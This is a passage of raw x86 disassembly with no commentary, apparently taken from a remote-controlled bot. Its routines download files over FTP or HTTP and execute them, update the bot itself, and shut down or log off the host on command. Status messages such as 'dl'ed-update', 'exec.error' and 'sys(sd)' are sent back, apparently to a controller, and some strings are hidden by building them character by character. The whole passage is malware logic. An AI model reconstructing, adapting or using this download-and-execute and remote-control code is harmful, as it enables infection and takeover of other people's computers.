eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FBE lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FBE lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FBE lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FBE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FBE mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013D4 loc_41CF40: ; CODE XREF: sub_41C610+7A1j lea ecx, [ebp+0EAh] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41D1A1 push offset asc_443600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 16h call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FBE lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FBE lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FBE push 1 push offset asc_443600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 17h call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_443600 ; " " lea edx, [esp+128h+var_F4] push 3 push edx mov ecx, esi call sub_4016AE push offset word_44758A mov ecx, eax mov byte ptr [esp+128h+var_4], 18h call sub_401B72 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41D0EC lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014B0 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D212 ; --------------------------------------------------------------------------- loc_41D0EC: ; CODE XREF: sub_41C610+A64j push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 19h jz short loc_41D114 mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D114: ; CODE XREF: sub_41C610+AF7j xor edi, edi loc_41D116: ; CODE XREF: sub_41C610+B02j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FBE lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FBE lea eax, [esp+124h+var_AC] lea ecx, [edi+3Bh] push eax call sub_401FBE lea ecx, [esp+124h+var_94] push ecx lea ecx, [edi+50h] call sub_401FBE lea edx, [esi+69h] lea ecx, [edi+7Ah] push edx call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 1 mov al, [esi+93h] mov [edi+92h], al mov cl, [esi+94h] mov [edi+93h], cl mov ecx, edi call sub_4013D4 loc_41D1A1: ; CODE XREF: sub_41C610+116j ; sub_41C610+295j ... lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014B0 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_41D212: ; CODE XREF: sub_41C610+549j ; sub_41C610+AD7j mov ecx, [esp+124h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 114h retn 4 sub_41C610 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 310h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D540 proc near ; CODE XREF: sub_401B36j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D540 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D540 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D5D0 proc near ; CODE XREF: sub_4014B0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D5D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+58h] mov [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D5D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_4021C6j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D670 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_401424 lea ecx, [esi+7Ah] mov byte ptr [esp+14h+var_4], 5 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0D0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41D670 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41D730: ; CODE XREF: ___:00401168j ; ___:loc_4019E7j push esi mov esi, ecx call sub_4015C3 test byte ptr [esp+8], 1 jz short loc_41D748 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41D748: ; CODE XREF: ___:0041D73Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41D760 proc near ; CODE XREF: sub_4015C3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41D760 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E0D0 lea ecx, [esi+7Ah] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41D760 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41D830 proc near ; CODE XREF: sub_401C80j var_44 = dword ptr -44h var_3C = byte ptr -3Ch var_30 = dword ptr -30h var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_14 = byte ptr 18h arg_20 = byte ptr 24h arg_24 = byte ptr 28h arg_38 = byte ptr 3Ch arg_44 = byte ptr 48h arg_110 = byte ptr 114h arg_120 = byte ptr 124h arg_130 = byte ptr 134h arg_1110 = dword ptr 1114h arg_1114 = byte ptr 1118h arg_1130 = dword ptr 1134h arg_1138 = dword ptr 113Ch arg_1144 = byte ptr 1148h arg_1150 = dword ptr 1154h ; FUNCTION CHUNK AT 0041DF4B SIZE 0000001B BYTES push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43B0F2 push eax mov eax, 1158h mov large fs:0, esp call sub_436840 push ebx push ebp push esi mov esi, ecx push edi push offset byte_446F60 lea edi, [esi+11h] mov ecx, edi call sub_4012EE test eax, eax jz loc_41DF38 lea ebx, [esi+65h] push offset byte_446F60 mov ecx, ebx call sub_4012EE test eax, eax jz loc_41DF38 lea ecx, [esi+26h] push offset byte_446F60 call sub_4012EE test eax, eax jz loc_41DF38 mov al, [esi+91h] test al, al jz short loc_41D8D1 push offset byte_446F60 lea ecx, [esi+3Bh] call sub_4012EE test eax, eax jz short loc_41D8C4 push offset byte_446F60 lea ecx, [esi+50h] call sub_4012EE test eax, eax jnz short loc_41D8D1 loc_41D8C4: ; CODE XREF: sub_41D830+81j mov [esp+1Ch+var_8], esi lea eax, [esp+1Ch+var_8] jmp loc_41DF40 ; --------------------------------------------------------------------------- loc_41D8D1: ; CODE XREF: sub_41D830+70j ; sub_41D830+92j push offset asc_443C84 ; ":" lea ecx, [esp+20h] push 1 push ecx mov ecx, edi call sub_4016AE push offset byte_446F60 mov ecx, eax mov [esp+20h+arg_1150], 0 call sub_4012EE lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jz short loc_41D95E push offset asc_443C84 ; ":" lea edx, [esp+20h] push 1 push edx mov ecx, edi call sub_4016AE mov ecx, eax mov [esp+1Ch+arg_1150], 1 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_401226 test ebp, ebp jnz short loc_41D96F loc_41D95E: ; CODE XREF: sub_41D830+E3j mov al, [esi+91h] neg al sbb eax, eax and al, 0C5h add eax, 50h mov ebp, eax loc_41D96F: ; CODE XREF: sub_41D830+12Cj push offset asc_443C84 ; ":" lea ecx, [esp+20h+arg_14] push 0 push ecx mov ecx, edi call sub_4016AE lea edx, [esp+1Ch+arg_14] mov ecx, edi push edx mov [esp+20h+arg_1150], 2 call sub_401FBE lea eax, [esp+1Ch+arg_44] push 104h push eax mov ecx, ebx call sub_4017E4 push eax nop call near ptr 2800000h lea ecx, [esp+28h+arg_38] push ecx mov ecx, ebx call sub_4015D7 mov al, [esi+91h] test al, al jz loc_41DB04 call sub_401E06 ; --------------------------------------------------------------------------- lea edx, [esp+28h+var_14] mov ecx, edi push edx call sub_4017E4 push eax call sub_401A69 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_41DA1C lea ecx, [esi+7Ah] call sub_401681 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aFtpBadconnect ; "ftp(badconnect)" push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 mov [esp+28h+var_18], esi lea edx, [esp+28h+var_18] jmp loc_41DF17 ; --------------------------------------------------------------------------- loc_41DA1C: ; CODE XREF: sub_41D830+1B7j mov eax, [esp+28h+var_14] lea ecx, [esi+50h] push eax call sub_4017E4 push eax lea ecx, [esi+3Bh] call sub_4017E4 push eax call sub_402243 add esp, 0Ch test eax, eax jnz short loc_41DA73 lea ecx, [esi+7Ah] call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBadlogin ; "ftp(badlogin)" push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41DF18 ; --------------------------------------------------------------------------- loc_41DA73: ; CODE XREF: sub_41D830+20Dj lea edi, [esi+7Ah] mov ecx, edi call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpGetting ; "ftp(getting)" push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 mov eax, [esp+28h+var_14] lea ecx, [esi+26h] push eax push 49h call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax call sub_4016A9 add esp, 10h test eax, eax jnz short loc_41DAF2 mov ecx, edi call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBaddl ; "ftp(baddl)" push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 lea eax, [esp+28h+var_18] mov [esp+28h+var_18], esi push eax jmp loc_41DF18 ; --------------------------------------------------------------------------- loc_41DAF2: ; CODE XREF: sub_41D830+28Dj mov ecx, [esp+28h+var_14] push ecx call sub_401D52 add esp, 4 jmp loc_41DD7B ; --------------------------------------------------------------------------- loc_41DB04: ; CODE XREF: sub_41D830+195j lea ecx, [esp+28h+arg_20] call sub_401424 lea ecx, [esp+28h+var_C] mov [esp+28h+arg_1144], 3 call sub_401424 push ebp mov ecx, edi mov [esp+2Ch+arg_1144], 4 call sub_4017E4 push eax call sub_401A8C mov ebx, eax add esp, 8 cmp ebx, 0FFFFFFFFh mov [esp+28h+var_14], ebx jnz short loc_41DB87 lea ecx, [esi+7Ah] call sub_401681 mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadconnect ; "http(badconnect)" push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+28h+var_18] mov [esp+28h+var_18], esi push ecx mov ecx, offset byte_4E6ECB call sub_40120D ; --------------------------------------------------------------------------- db 53h dd 69BAB8E8h, 0BEE99071h db 3 dup(0) ; --------------------------------------------------------------------------- loc_41DB87: ; CODE XREF: sub_41D830+310j push ebp mov ecx, edi call sub_4017E4 push eax lea ecx, [esi+26h] call sub_4017E4 push eax lea edx, [esp+30h+arg_24] push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"... push edx call sub_40102D add esp, 14h lea ecx, [esp+24h+arg_24] push 0 call sub_4013D9 push eax lea ecx, [esp+2Ch+arg_24] call sub_4017E4 push eax push ebx nop call near ptr 71AB428Ah lea edi, [esi+7Ah] mov ecx, edi call sub_401681 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aHttpGetting ; "http(getting)" push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 push offset aWb ; "wb" lea ecx, [esi+65h] call sub_4017E4 push eax call near ptr 77C3F010h nop mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41DC80 mov ecx, edi call sub_401681 mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadopen ; "http(badopen)" push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+34h+var_24] mov [esp+34h+var_24], esi push ecx mov ecx, offset byte_4E6ECB call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+34h+var_18] mov byte ptr [esp+34h+arg_1138], 3 call sub_401226 lea ecx, [esp+34h+arg_14] mov byte ptr [esp+34h+arg_1138], 2 call sub_401226 lea ecx, [esp+34h] mov [esp+34h+arg_1138], 0FFFFFFFFh call sub_401226 jmp loc_41DF4B ; --------------------------------------------------------------------------- loc_41DC80: ; CODE XREF: sub_41D830+3DBj ; sub_41D830+484j ... mov eax, [esp+34h+var_20] push 0 lea edx, [esp+38h+arg_130] push 1000h push edx push eax call near ptr 71AB615Ah nop mov ebp, eax test ebp, ebp jle short loc_41DCF8 cmp ebp, 1000h jge short loc_41DCB0 mov [esp+ebp+44h+arg_120], 0 loc_41DCB0: ; CODE XREF: sub_41D830+476j xor edi, edi test ebp, ebp jle short loc_41DC80 loc_41DCB6: ; CODE XREF: sub_41D830+4A5j push 4 lea ecx, [esp+edi+48h+arg_120] push offset asc_443EE8 ; "\r\n\r\n" push ecx nop call near ptr 77C47A50h add esp, 0Ch test eax, eax jz short loc_41DCD9 inc edi cmp edi, ebp jl short loc_41DCB6 jmp short loc_41DC80 ; --------------------------------------------------------------------------- loc_41DCD9: ; CODE XREF: sub_41D830+4A0j add edi, 4 cmp edi, ebp jge short loc_41DCF8 loc_41DCE0: ; CODE XREF: sub_41D830+4C6j movsx edx, [esp+edi+44h+arg_120] push ebx push edx call near ptr 77C40E76h nop add esp, 8 inc edi cmp edi, ebp jl short loc_41DCE0 loc_41DCF8: ; CODE XREF: sub_41D830+46Ej ; sub_41D830+4AEj ... mov edi, [esp+44h+var_30] push 0 lea eax, [esp+48h+arg_120] push 1000h push eax push edi nop call near ptr 71AB615Ah mov ebp, eax test ebp, ebp jle short loc_41DD48 cmp ebp, 1000h jge short loc_41DD28 mov [esp+ebp+54h+arg_110], 0 loc_41DD28: ; CODE XREF: sub_41D830+4EEj xor edi, edi test ebp, ebp jle short loc_41DCF8 loc_41DD2E: ; CODE XREF: sub_41D830+514j movsx ecx, [esp+edi+54h+arg_110] push ebx push ecx nop call near ptr 77C40E76h add esp, 8 inc edi cmp edi, ebp jl short loc_41DD2E jmp short loc_41DCF8 ; --------------------------------------------------------------------------- loc_41DD48: ; CODE XREF: sub_41D830+4E6j push ebx nop call near ptr 77C40AB1h add esp, 4 push edi nop call near ptr 71AB9639h lea ecx, [esp+58h+var_3C] mov [esp+58h+arg_1114], 3 call sub_401226 lea ecx, [esp+58h+var_C] mov [esp+58h+arg_1114], 2 call sub_401226 loc_41DD7B: ; CODE XREF: sub_41D830+2CFj mov al, [esi+90h] test al, al jnz loc_41DE17 lea ebp, [esi+65h] mov ecx, ebp call sub_4017E4 lea edi, [esi+7Ah] push eax push offset aDlDone_S_ ; "dl, done. %s ." mov ecx, edi call sub_401681 mov dl, [esi+93h] push eax mov al, [esi+92h] push edx push eax push offset byte_4D60A5 call sub_401848 mov al, [esi+8Fh] add esp, 18h test al, al jz loc_41DF0F push offset byte_446F60 mov ecx, ebp call sub_4017E4 push eax call sub_401299 add esp, 8 mov ecx, ebp call sub_4017E4 push eax push offset aOpenS_ ; "open %s." mov ecx, edi call sub_401681 mov cl, [esi+93h] mov dl, [esi+92h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 18h jmp loc_41DF0F ; --------------------------------------------------------------------------- loc_41DE17: ; CODE XREF: sub_41D830+553j lea ebx, [esi+65h] mov ecx, ebx call sub_4017E4 lea edi, [esi+7Ah] push eax push offset aDlEdUpdateS ; "dl'ed-update: %s" mov ecx, edi call sub_401681 mov cl, [esi+92h] push eax mov al, [esi+93h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 18h lea edx, [esp+58h+var_3C] push 0 push 5 push 14h push 1 push 4 push 10h push 15h push 51h push edx call sub_4019B5 add esp, 24h mov ecx, eax mov [esp+58h+arg_1114], 5 call sub_4014D3 push eax mov ecx, ebx call sub_4014D3 push eax call sub_402149 add esp, 8 lea ecx, [esp+58h+var_3C] mov bl, al mov [esp+58h+arg_1114], 2 call sub_401226 test bl, bl jz short loc_41DEEA mov al, byte_4478C6 test al, al jz short loc_41DEB9 push offset dword_447864 mov ecx, offset dword_448DA0 call sub_401447 loc_41DEB9: ; CODE XREF: sub_41D830+678j mov al, byte_44790F test al, al jz short loc_41DED1 push offset byte_44793F mov ecx, offset dword_448DA0 call sub_401942 loc_41DED1: ; CODE XREF: sub_41D830+690j mov ecx, offset dword_448DA0 call sub_401E5B push 1 mov byte_4E6E74, 0 nop call near ptr 77C39E7Eh loc_41DEEA: ; CODE XREF: sub_41D830+66Fj mov ecx, edi call sub_4014D3 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aExec_error ; "exec.error" push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 loc_41DF0F: ; CODE XREF: sub_41D830+597j ; sub_41D830+5E2j mov [esp+5Ch+var_44], esi lea edx, [esp+5Ch+var_44] loc_41DF17: ; CODE XREF: sub_41D830+1E7j push edx loc_41DF18: ; CODE XREF: sub_41D830+23Ej ; sub_41D830+2BDj mov ecx, offset byte_4E6ECB call sub_40120D ; --------------------------------------------------------------------------- lea ecx, [esp+5Ch+var_28] mov [esp+5Ch+arg_1110], 0FFFFFFFFh call sub_401226 jmp short loc_41DF4B ; --------------------------------------------------------------------------- loc_41DF38: ; CODE XREF: sub_41D830+36j ; sub_41D830+4Dj ... mov [esp+1Ch+var_C], esi lea eax, [esp+1Ch+var_C] loc_41DF40: ; CODE XREF: sub_41D830+9Cj push eax mov ecx, offset byte_4E6ECB call sub_40120D sub_41D830 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D830 loc_41DF4B: ; CODE XREF: sub_41D830+44Bj ; sub_41D830+706j mov ecx, [esp+34h+arg_1130] pop edi pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 1164h retn ; END OF FUNCTION CHUNK FOR sub_41D830 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 1D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E140 proc near ; CODE XREF: sub_401B90j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E140 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 0Fh push 0Fh push 2 push 5 push 12h push 4Fh push 3 lea eax, [esp+64h+var_3C] push 10h mov esi, ecx push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_41E140 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Eh push 17h push 0Fh push 4 push 14h push 15h push 8 push 13h push 4Fh push 3 lea edx, [esp+30h] push 10h push edx call sub_4019B5 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 6 push 6 push 0Fh push 7 push 0Fh push 0Ch push 4Fh push 3 lea ecx, [esp+40h] push 10h push ecx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017E4 add esi, 60h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: ___:loc_4010B4j push ebx push esi push edi mov edi, [esp+10h] mov esi, ecx lea ebx, [edi+7Eh] lea ecx, [esi+4] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E31B push offset dword_443FEC lea ecx, [edi+69h] call sub_401681 mov cl, [edi+93h] push eax mov al, [edi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 14h push 0 push 6 nop call near ptr 28A03CEh pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E31B: ; CODE XREF: ___:0041E2DEj lea ecx, [esi+32h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E36A push offset aSysSd ; "sys(sd)" lea ecx, [edi+69h] call sub_401681 mov dl, [edi+94h] push eax mov al, [edi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 14h push 0 push 5 nop call near ptr 28A03CEh pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- loc_41E36A: ; CODE XREF: ___:0041E32Dj lea ecx, [esi+60h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41E3B1 push offset aSysLogoff ; "sys(logoff)" lea ecx, [edi+69h] call sub_401681 mov cl, [edi+94h] mov dl, [edi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 14h push 0 push 4 nop call near ptr 28A03CEh loc_41E3B1: ; CODE XREF: ___:0041E37Cj pop edi pop esi xor al, al pop ebx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41E400 proc near ; CODE XREF: sub_401F5Fj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41E400 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+6Ch+var_3C] push 10h mov esi, ecx push eax call sub_4019B5 add esp, 30h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_41E400 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+30h] push 10h push edx call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea ecx, [esp+3Ch] push 10h push ecx call sub_4019B5 add esp, 3Ch mov dword ptr [esp+40h], 2 push esi mov ecx, eax call sub_4017E4 lea edx, [esi+8Eh] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+3Ch] push 10h push eax call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 9 push 10h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+54h] push 10h push edx call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 add esi, 60h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E660 proc near ; CODE XREF: sub_401613j var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41E660 push eax mov large fs:0, esp sub esp, 44h push ebx push ebp push esi mov esi, [esp+5Ch+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E7FA lea eax, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push eax call sub_4018D9 ; --------------------------------------------------------------------------- lea ecx, [esp+60h+var_48] mov 